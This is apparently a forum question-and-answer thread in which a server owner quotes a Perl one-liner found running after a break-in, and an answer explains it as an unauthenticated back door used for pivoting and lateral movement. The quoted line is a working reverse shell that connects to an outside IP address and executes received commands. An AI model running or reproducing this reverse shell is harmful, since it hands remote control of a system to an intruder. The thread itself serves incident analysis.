What does this nefarious program do?

Viewed 354

My server got hacked, and ps aux shows that it's running this program now:

perl -MIO -e $p=fork;exit,if($p);$c=new IO::Socket::INET (PeerAddr,"169.50.9.58:1212");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;

I don't know Perl...what is this program doing?

4 Answers

The other answers already adequately answer how this back door works. Just to recap, it allows an unprivileged user access to the system without authenticating. You only need to know which port number to connect to in order to run arbitrary programs on the computer.

The reason this is "nefarious" is that it bypasses authentication. If it required you to log in with a valid user name and password, it would not be much different from a basic telnet server. (Granted, those are bad too; in today's world you would absolutely require encrypted authenticated access, i.e. ssh or similar.)

A user who already has legitimate login access to your system has no need to run a program like this. They already have ssh access or similar.

The reason intruders install such programs is often that it allows them to pivot from a simple vulnerability (like a simple "Bobby Tables" SQL injection) which only allows them to run a single command. Now they have interactive access and can conveniently run many commands without using (and potentially exposing) the original exploit again; from here, they can probably figure out a way to pivot further on to a privileged account (i.e. root), or initiate lateral movement to other systems within your perimeter.

Related